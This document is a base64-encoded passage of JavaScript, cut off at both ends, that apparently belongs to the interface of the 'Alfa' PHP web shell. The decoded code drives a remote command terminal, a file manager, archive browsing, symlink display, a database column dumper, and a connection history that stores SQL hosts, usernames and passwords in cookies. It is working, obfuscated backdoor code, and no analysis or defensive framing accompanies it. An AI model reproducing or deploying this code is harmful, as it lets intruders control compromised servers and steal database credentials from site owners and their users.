PicpLGQucXVlcnlTZWxlY3RvcigiI2NnaWZyYW1lIC50ZXJtaW5hbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9uY2xpY2s9ImFsZmFPcGVuUGhwVGVybWluYWwodHJ1ZSk7IiBpZD0idGVybWluYWxfbmV3X3RhYiIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzgwMDAwMDsiIGNsYXNzPSJ0ZXJtaW5hbC10YWIiPk5ldyBUYWIgKzwvZGl2PicpLHRlcm1pbmFsX3dhbGtfaW5kZXhbaV09e2luZGV4OjAsa2V5Oi0xfSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIikuaW5uZXJIVE1MPWNfLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlci1taW5pbWl6ZWQgLm1pbmltaXplZC10ZXh0IikuaW5uZXJIVE1MPSJUZXJtaW5hbCIsYWxmYVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGkpLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITA7dmFyIGw9YWxmYUdldFRlcm1pbmFsSGlzdG9yeSgpO2Zvcih2YXIgciBpbiBsKWQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5jbWQtaGlzdG9yeS1ob2xkZXIgLmNvbW1hbmRzLWhpc3RvcnkiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IG9uY2xpY2s9XCJkLnF1ZXJ5U2VsZWN0b3IoJyMiK2krJyAucGhwLXRlcm1pbmFsLWlucHV0XCcpLnZhbHVlID0gdGhpcy5pbm5lckhUTUw7IiBjbGFzcz0iaGlzdG9yeS1jbWQtbGluZSI+JytsW3JdKyI8L2Rpdj4iKX1kLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiJ9ZnVuY3Rpb24gYWxmYVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGUpe3ZhciB0PWdldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1jb2xvciIpLGE9Z2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWZvbnRzaXplIik7dm9pZCAwIT09dCYmKGQucXVlcnlTZWxlY3RvcigiIyIrZSsiIHByZS5tbDEiKS5zdHlsZS5jb2xvcj10KSx2b2lkIDAhPT1hJiYoZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgcHJlLm1sMSIpLnN0eWxlLmZvbnRTaXplPWEpfWZ1bmN0aW9uIGFsZmFUZXJtaW5hbENoYW5nZWNvbG9yKGUsdCl7ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgcHJlLm1sMSIpLnN0eWxlLmNvbG9yPWUudmFsdWUsc2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWNvbG9yIixlLnZhbHVlLDIwMTIpfWZ1bmN0aW9uIGFsZmFHZXRUZXJtaW5hbEhpc3RvcnkoZSl7dmFyIHQ9Z2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWhpc3RvcnkiKTt0cnl7dD1hdG9iKHQpLHQ9SlNPTi5wYXJzZSh0KX1jYXRjaChlKXt0PVtdfXJldHVybiB2b2lkIDAhPT1lJiZ0LnJldmVyc2UoKSx0fWZ1bmN0aW9uIGNoYW5nZVRlcm1pbmFsRm9udFNpemUoZSx0KXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiBwcmUubWwxIiksaT1wYXJzZUludCh3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZShhLG51bGwpLmdldFByb3BlcnR5VmFsdWUoImZvbnQtc2l6ZSIpKSxsPSIiOzE9PXQ/KGw9aSsxKyJweCIsYS5zdHlsZS5mb250U2l6ZT1sKToobD1pLTErInB4IixhLnN0eWxlLmZvbnRTaXplPWwpLHNldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1mb250c2l6ZSIsbCwyMDEyKX1mdW5jdGlvbiBhbGZhV2Fsa0luVGVybWluYWxIaXN0b3J5KGUsdCxhKXt2YXIgaT10fHx3aW5kb3cuZXZlbnQ7aWYoIjM4Ij09aS5rZXlDb2RlfHwiNDAiPT1pLmtleUNvZGV8fCIzNyI9PWkua2V5Q29kZXx8IjM5Ij09aS5rZXlDb2RlKXN3aXRjaChpLmtleUNvZGUpe2Nhc2UgMzg6dmFyIGw9YWxmYUdldFRlcm1pbmFsSGlzdG9yeSghMCkscj0iIjswPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PygwPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleSYmKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4LHZvaWQgMCE9PShyPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0pPyhlLnZhbHVlPXIsKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KTooZS52YWx1ZT0iIix0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTApKTp0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PGwubGVuZ3RoJiYoMD09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJisrdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCxlLnZhbHVlPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0sKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KSx0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleT0xO2JyZWFrO2Nhc2UgNDA6bD1hbGZhR2V0VGVybWluYWxIaXN0b3J5KCEwKTtpZih0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4Pj0wKTAhPXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgmJigtLXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgsMT09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJi0tdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCksdm9pZCAwIT09KHI9bFt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4XSk/ZS52YWx1ZT1yOihlLnZhbHVlPSIiLHRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXg9MCk7dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXk9MDticmVhaztkZWZhdWx0OmNvbnNvbGUubG9nKGkua2V5Q29kZSl9ZWxzZSB0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTB9ZnVuY3Rpb24gY2xlYXJUZXJtaW5hbEhpc3RvcnkoKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5jb21tYW5kcy1oaXN0b3J5IikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmlubmVySFRNTD0iIn0pLHNldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1oaXN0b3J5IiwiIiwyMDEyKX1mdW5jdGlvbiBhbGZhQWNlVG9GdWxsc2NyZWVuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTthbGZhX2FjZV9lZGl0b3JzLmVkaXRvclt0XS5jb250YWluZXIucmVxdWVzdEZ1bGxzY3JlZW4oKX1mdW5jdGlvbiBjbG9zZUhpc3RvcnlDbWQoZSx0KXtpZigiZnJlZSI9PWUpe3ZhciBhPXQuZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7cmV0dXJuIGU9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNtZC1oaXN0b3J5LWljb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUub3BhY2l0eT0iMCIsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKSwhMX12YXIgaT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpLGw9KGE9ZS5nZXRBdHRyaWJ1dGUoInRlcm1faWQiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikpOzA9PWkubGVuZ3RofHwib2ZmIj09aT8obC5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixsLnN0eWxlLm9wYWNpdHk9IjEiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSk6KGwuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixsLnN0eWxlLm9wYWNpdHk9IjAiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib2ZmIikpfWZ1bmN0aW9uIGdlRXZhbEFjZVZhbHVlKGUpe3ZhciB0PWUucXVlcnlTZWxlY3RvcigiLnBocC1ldmFscy1hY2UiKS5nZXRBdHRyaWJ1dGUoImlkIik7cmV0dXJuIGFsZmFfYWNlX2VkaXRvcnMuZXZhbFt0XS5nZXRWYWx1ZSgpfWZ1bmN0aW9uIGFsZmFPcGVuQXJjaGl2ZShlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgicGF0aCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImZuYW1lIiksaT1lLmdldEF0dHJpYnV0ZSgiYmFzZV9pZCIpO2lmKCIuLiI9PWEmJiJwaGFyOi8vIiE9dC5zdWJzdHIoMCw3KSlyZXR1cm4hMTt2YXIgbD0iYT0iK2FsZmFiNjQoIm9wZW5fYXJjaGl2ZV9kaXIiKSsiJmM9IithbGZhYjY0KGNfKSsiJmFsZmExPSIrYWxmYWI2NCh0KSsiJmFsZmEyPSIrYWxmYWI2NChpKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIik7X0FqYXgoZC5VUkwsbCxmdW5jdGlvbihlKXtpZigiMCIhPWUpeyQoImFyY2hpdmVfYmFzZV8iK2kpLmlubmVySFRNTD1lO3ZhciBhPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX25hbWUiKSxsPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX2Z1bGwiKSxyPSIiLG89IiI7aWYoMCE9KHQ9dC5zcGxpdChhKVsxXSkubGVuZ3RoKXt2YXIgbj0odD10LnNwbGl0KCIvIikpLmxlbmd0aC0xO2Zvcih2YXIgcyBpbiAwPT10W25dLmxlbmd0aCYmdC5zcGxpY2UobiwxKSx0KTAhPXQubGVuZ3RoJiYobys9dFtzXSsiLyIscis9JzxhIGJhc2VfaWQ9IicraSsnIiBmbmFtZT0iJyt0W3NdKyciIHBhdGg9IicrbCtvKyciIG9uY2xpY2s9ImFsZmFPcGVuQXJjaGl2ZSh0aGlzKTsiPicrdFtzXSsiLzwvYT4iKX1kLnF1ZXJ5U2VsZWN0b3IoIiNhcmNoaXZlX2Rpcl8iK2krIiAuYXJjaGl2ZV9wd2RfaG9sZGVyIikuaW5uZXJIVE1MPXJ9fSwhMSwib3Blbl9hcmNoaXZlX2RpciIpfWZ1bmN0aW9uIGFsZmFEZWxldGVDb25uZWN0VG9EYihlKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5kYmhfIitlKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucmVtb3ZlKCl9KSxhbGZhQ29ubmVjdGlvbkhpc3RvcnlVcGRhdGUoZSl9ZnVuY3Rpb24gYWxmYUNvbm5lY3RUb0RiKGUsdCl7dmFyIGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiYWxmYV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNoKGUpe312YXIgaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiBkaXYuc2YiKTtpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2hvc3RdIikudmFsdWU9YVtlXS5ob3N0LGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfbG9naW5dIikudmFsdWU9YVtlXS51c2VyLGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfcGFzc10iKS52YWx1ZT1hW2VdLnBhc3MsKGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKT9pLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2Jhc2VdIik6aS5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT1zcWxfYmFzZV0iKSkudmFsdWU9YVtlXS5kYixpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2NvdW50XSIpLmNoZWNrZWQ9ITAsZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgZGl2LnNmIC5kYi1jb25uZWN0LWJ0biIpLmNsaWNrKCl9ZnVuY3Rpb24gYWxmYVNob3dDb25uZWN0aW9uSGlzdG9yeShlKXt2YXIgdD17fSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTtpZihyb3dzPSc8dGFibGUgY2xhc3M9ImNvbm5lY3Rpb24taGlzdC10YWJsZSI+PHRyPjx0aD4qPC90aD48dGg+SG9zdDwvdGg+PHRoPlVzZXI8L3RoPjx0aD5QYXNzPC90aD48dGg+RGF0YWJhc2U8L3RoPjx0aD5Db25uZWN0PC90aD48dGg+RGVsZXRlPC90aD48L3RyPicsIm9uIj09aSl7ZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKTt0cnl7dD1KU09OLnBhcnNlKGF0b2IoZ2V0Q29va2llKCJhbGZhX2Nvbm5lY3Rpb25faGlzdCIpKSl9Y2F0Y2goZSl7fXZhciBsLHI9MTtmb3IobCBpbiB0KXt2YXIgbz10W2xdLnVzZXIrIl8iK3RbbF0uZGI7cm93cys9Jzx0ciBjbGFzcz0iZGJoXycrbysnIj48dGg+JytyKyI8L3RoPjx0aD4iK3RbbF0uaG9zdCsiPC90aD48dGg+Iit0W2xdLnVzZXIrIjwvdGg+PHRoPiIrdFtsXS5wYXNzKyI8L3RoPjx0aD4iK3RbbF0uZGIrJzwvdGg+PHRoPjxidXR0b24gc3R5bGU9Im1hcmdpbjogdW5zZXQ7IiBjbGFzcz0iY29ubmVjdGlvbi1oaXMtYnRuIiBvbmNsaWNrPVwnYWxmYUNvbm5lY3RUb0RiKCInK28rJyIsIicrYSsnIik7XCc+Q29ubmVjdDwvYnV0dG9uPjwvdGg+PHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48YnV0dG9uIHN0eWxlPSJtYXJnaW46IHVuc2V0OyIgY2xhc3M9ImNvbm5lY3Rpb24taGlzLWJ0biBjb25uZWN0aW9uLWRlbGV0ZSIgb25jbGljaz1cJ2FsZmFEZWxldGVDb25uZWN0VG9EYigiJytvKyJcIik7Jz5YPC9idXR0b24+PC90aD48L3RyPiIscisrfXJvd3MrPSI8L3RhYmxlIn1lbHNlIGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSxyb3dzPSIiO2QucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jb25uZWN0aW9uX2hpc3RvcnlfaG9sZGVyIikuaW5uZXJIVE1MPXJvd3N9ZnVuY3Rpb24gYWxmYUNvbm5lY3Rpb25IaXN0b3J5VXBkYXRlKGUpe3ZhciB0LGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiYWxmYV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNoKGUpe31mb3IodCBpbiBteXNxbF9jYWNoZSkwIT1teXNxbF9jYWNoZVt0XS5kYi5sZW5ndGgmJihhW215c3FsX2NhY2hlW3RdLnVzZXIrIl8iK215c3FsX2NhY2hlW3RdLmRiXT1teXNxbF9jYWNoZVt0XSk7dm9pZCAwIT09ZSYmZGVsZXRlIGFbZV0sc2V0Q29va2llKCJhbGZhX2Nvbm5lY3Rpb25faGlzdCIsYnRvYShKU09OLnN0cmluZ2lmeShhKSksMjAxMil9ZnVuY3Rpb24gYWxmYUV4ZWNUZXJtaW5hbChlLHQpe3ZhciBhPSIiO2lmKDA9PShhPXZvaWQgMCE9PXQ/ImNkICIrY186ZS5jLnZhbHVlKS5sZW5ndGgpcmV0dXJuITE7ImwiPT1hP2E9ImxzIC10cmggLS1jb2xvciI6ImxsIj09YSYmKGE9ImxzIC1sdHJoIC0tY29sb3IiKTt2YXIgaT1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2FsZmFsb2FkZXIoaSwiYmxvY2siKSxjbG9zZUhpc3RvcnlDbWQoImZyZWUiLGUpO3ZhciBsPSIiOyJGT1JNIj09ZS50YWdOYW1lJiYobD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtdGVybWluYWwtY3VycmVudC1kaXIiKS5pbm5lckhUTUwpLDA9PShsPWwudHJpbSgpKS5sZW5ndGgmJihsPWNfKTt2YXIgcj0iYT0iK2FsZmFiNjQoInRlcm1pbmFsRXhlYyIpKyImYz0iK2FsZmFiNjQobCkrIiZhbGZhMT0iK2FsZmFiNjQoYSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpO2lmKF9BamF4KGQuVVJMLHIsZnVuY3Rpb24oZSx0KXthbGZhbG9hZGVyKHQsIm5vbmUiKTt0cnl7dmFyIGE9JCgidGFiXyIraSk7bnVsbCE9YSYmKCgtMT09YS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWN0aXZlLXRlcm1pbmFsLXRhYiIpfHxjZ2lfaXNfbWluaW1pemVkKSYmKGEuY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKSxhbGZhU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsYS5pbm5lclRleHQpKSxjZ2lfaXNfbWluaW1pemVkJiZhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJjZ2lsb2FkZXIiKSl9Y2F0Y2goZSl7fWU9SlNPTi5wYXJzZShlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAucGhwLXRlcm1pbmFsLW91dHB1dCA+IHByZSIpLmlubmVySFRNTD1lLm91dHB1dCwwIT1lLnBhdGgubGVuZ3RoJiYoZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLnBocC10ZXJtaW5hbC1jdXJyZW50LWRpciIpLmlubmVySFRNTD1lLnBhdGgpfSwhMSxpKSx2b2lkIDA9PT10KXtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAuY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5IikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwiPGRpdiBvbmNsaWNrPVwiZC5xdWVyeVNlbGVjdG9yKCcjIitpKycgLnBocC10ZXJtaW5hbC1pbnB1dFwnKS52YWx1ZSA9IHRoaXMuaW5uZXJIVE1MOyIgY2xhc3M9Imhpc3RvcnktY21kLWxpbmUiPicrYSsiPC9kaXY+Iik7dmFyIG89YWxmYUdldFRlcm1pbmFsSGlzdG9yeSgpLG49by5pbmRleE9mKGEpOy0xIT1uJiZvLnNwbGljZShuLDEpLG8ucHVzaChhKSxzZXRDb29raWUoImFsZmEtdGVybWluYWwtaGlzdG9yeSIsYnRvYShKU09OLnN0cmluZ2lmeShvKSksMjAxMil9ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgaW5wdXQucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKX1mdW5jdGlvbiBwYWdlQ2hhbmdlZEZpbGVzTWFuKGUpe3ZhciB0PSJmaWxlc21hbl9ob2xkZXJfIithbGZhX2N1cnJlbnRfZm1faWQsYT1nZXRDb29raWUodCsiX3BhZ2VfbnVtYmVyIiksaT1lLmlubmVyVGV4dDtpZigiPDwiPT1pKXthPWQucXVlcnlTZWxlY3RvcigiIyIrdCsiIC5hY3RpdmUtcGFnZS1udW1iZXIiKS5pbm5lclRleHQ7aWYoISgoYT1wYXJzZUludChhKSk+MSkpcmV0dXJuITE7aT1hLTF9aWYoIj4+Ij09aSl7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAuYWN0aXZlLXBhZ2UtbnVtYmVyIikuaW5uZXJUZXh0O2E9cGFyc2VJbnQoYSk7dmFyIGw9ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLmxhc3QtcGFnZS1udW1iZXIiKS5pbm5lckhUTUw7aWYoIShhKzE8PShsPXBhcnNlSW50KGwpKSkpcmV0dXJuITE7aT1hKzF9c2V0Q29va2llKHQrIl9wYWdlX251bWJlciIsaSwyMDEyKSxnKCJGaWxlc01hbiIsY18pfWZ1bmN0aW9uIGFsZmFDb2xEdW1wZXJJbml0KCl7dmFyIGU9ZC5xdWVyeVNlbGVjdG9yKCIudGFiX25hbWUudGFiX2lzX2FjdGl2ZSIpLmdldEF0dHJpYnV0ZSgib3B0X2lkIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UpLGE9dC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJib3giKTtmb3IoaT0wO2k8YS5sZW5ndGg7aSsrKWFbaV0uYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLGZ1bmN0aW9uKCl7bnVsbCE9dGhpcy5wYXJlbnRFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoIi5uZXN0ZWQiKSYmKHRoaXMucGFyZW50RWxlbWVudC5xdWVyeVNlbGVjdG9yKCIubmVzdGVkIikuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlIiksdGhpcy5jbGFzc0xpc3QudG9nZ2xlKCJjaGVjay1ib3giKSl9KTt2YXIgaTthPXQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgic3ViLWJveCIpO2ZvcihpPTA7aTxhLmxlbmd0aDtpKyspYVtpXS5zZXRBdHRyaWJ1dGUoIm9wdF9pZCIsZSksYVtpXS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZnVuY3Rpb24oKXt0aGlzLmNsYXNzTGlzdC50b2dnbGUoImNoZWNrLWJveCIpO3ZhciBlPXRoaXMuZ2V0QXR0cmlidXRlKCJ0YmwiKSx0PXRoaXMuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTt0PXQucmVwbGFjZSgib3B0aW9uXyIsIiIpLGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YS5oYXNPd25Qcm9wZXJ0eSh0KXx8KGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XT17fSksdm9pZCAwPT09Y29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdJiYoY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdPVtdKTt2YXIgYT10aGlzLmlubmVySFRNTCxpPWNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5pbmRleE9mKGEpOy0xPT1pP2NvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5wdXNoKGEpOmNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5zcGxpY2UoaSwxKX0pfWZ1bmN0aW9uIHNob3dTeW1saW5rUGF0aChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInJvdyIpLGk9JCgidGRfcm93XyIrYSksbD1lLmdldEF0dHJpYnV0ZSgib3B0X3RpdGxlIikscj1lLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtpZihsPWRlY29kZVVSSUNvbXBvbmVudChyKSsiIC0+ICIrbCxudWxsIT1pKXtpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgY2xhc3M9InN5bWxpbmtfcGF0aCIgaWQ9ImxpbmtfaWRfJythKyciPicrbCsiPC9kaXY+Iik7dmFyIG89dC5jbGllbnRYLG49dC5jbGllbnRZLTMwOyQoImxpbmtfaWRfIithKS5zdHlsZS5sZWZ0PW8rInB4IiwkKCJsaW5rX2lkXyIrYSkuc3R5bGUudG9wPW4rInB4In19ZnVuY3Rpb24gaGlkZVN5bWxpbmtQYXRoKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKSwkKCJsaW5rX2lkXyIrZS5nZXRBdHRyaWJ1dGUoInJvdyIpKS5yZW1vdmUoKX1mdW5jdGlvbiBhbGZhZ2V0RmxhZ3MoKXtkYXRhPSJhPSIrYWxmYWI2NCgiZ2V0X2ZsYWdzIikrIiZjPSIrYWxmYWI2NChjXykrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLF9BamF4KGQuVVJMLGRhdGEsZnVuY3Rpb24oZSl7dmFyIHQ9SlNPTi5wYXJzZShlKTt0Lmhhc093blByb3BlcnR5KCJzZXJ2ZXIiKSYmKGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMF0uaW5uZXJIVE1MPSc8aW1nIGRyYWdnYWJsZT0iZmFsc2UiIHRpdGxlPSInK3Quc2VydmVyLm5hbWUrJyIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mbGFncy80OC8nK3Quc2VydmVyLmNvZGUudG9Mb3dlckNhc2UoKSsnLnBuZyI+JyxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbGFnLWhvbGRlciIpWzBdLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLHQuaGFzT3duUHJvcGVydHkoImNsaWVudCIpJiYoZC5xdWVyeVNlbGVjdG9yQWxsKCIuZmxhZy1ob2xkZXIiKVsxXS5pbm5lckhUTUw9JzxpbWcgZHJhZ2dhYmxlPSJmYWxzZSIgdGl0bGU9IicrdC5jbGllbnQubmFtZSsnIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2ZsYWdzLzQ4LycrdC5jbGllbnQuY29kZS50b0xvd2VyQ2FzZSgpKycucG5nIj4nLGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMV0uc3R5bGUuZGlzcGxheT0iaW5saW5lIil9KX1mdW5jdGlvbiBjb2xEdW1wbGVyU2VsZWN0VHlwZShlKXt2YXIgdD1lLm9wdGlvbnNbZS5zZWxlY3RlZEluZGV4XS52YWx1ZTskKCJjb2xkdW1wZXItZGVsaW1pdGVyLWlucHV0Iikuc3R5bGUuZGlzcGxheT0iZGVsaW1pdGVyIj09dD8iaW5saW5lLWJsb2NrIjoibm9uZSJ9ZnVuY3Rpb24gYWxmYUNoZWNrVXJsSGFzaCgpe3ZhciBlPXdpbmRvdy5sb2NhdGlvbi5oYXNoLnN1YnN0cigxKSx0PWUuc3BsaXQoIiYiKS5yZWR1Y2UoZnVuY3Rpb24oZSx0KXt2YXIgYT10LnNwbGl0KCI9Iik7cmV0dXJuIGVbYVswXV09YVsxXSxlfSx7fSk7aWYoIiIhPWUpc3dpdGNoKHQuYWN0aW9uKXtjYXNlImZpbGVtYW4iOmNhc2Uib3B0aW9ucyI6dC5wYXRoPWRlY29kZVVSSUNvbXBvbmVudCh0LnBhdGgpLGcoIkZpbGVzTWFuIix0LnBhdGgsZnVuY3Rpb24oZSl7aWYodC5oYXNPd25Qcm9wZXJ0eSgiZmlsZSIpKXt2YXIgYT0iYXV0byI7aXNBcmNoaXZlKHQuZmlsZSkmJihhPSJ2aWV3IiksZWRpdG9yKHQucGF0aCsiLyIrdC5maWxlLGEsIiIsIiIsIiIsImZpbGUiKX19KSwib3B0aW9ucyI9PXQuYWN0aW9uJiZ0Lmhhc093blByb3BlcnR5KCJvcHQiKSYmKGFsZmFfY2FuX2FkZF9vcHQ9ITAsZyh0Lm9wdCxudWxsLCIiLCIiLCIiKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9JCgibWVudV9vcHRfIit0Lm9wdCkuaW5uZXJIVE1MKSx0Lmhhc093blByb3BlcnR5KCJmaWxlIil8fGVkaXRvckNsb3NlKCJlZGl0b3IiKSx0Lmhhc093blByb3BlcnR5KCJvcHQiKXx8ZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpO2JyZWFrO2RlZmF1bHQ6ZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWVsc2UgZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWZ1bmN0aW9uIGFsZmFGbW5nckNvbnRleHRSb3coKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbWFuYWdlci1yb3cgYS5tYWluX25hbWUiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuYWRkRXZlbnRMaXN0ZW5lcigiY29udGV4dG1lbnUiLGZ1bmN0aW9uKGUpe3ZhciB0PWUudGFyZ2V0LGE9IiI7aWY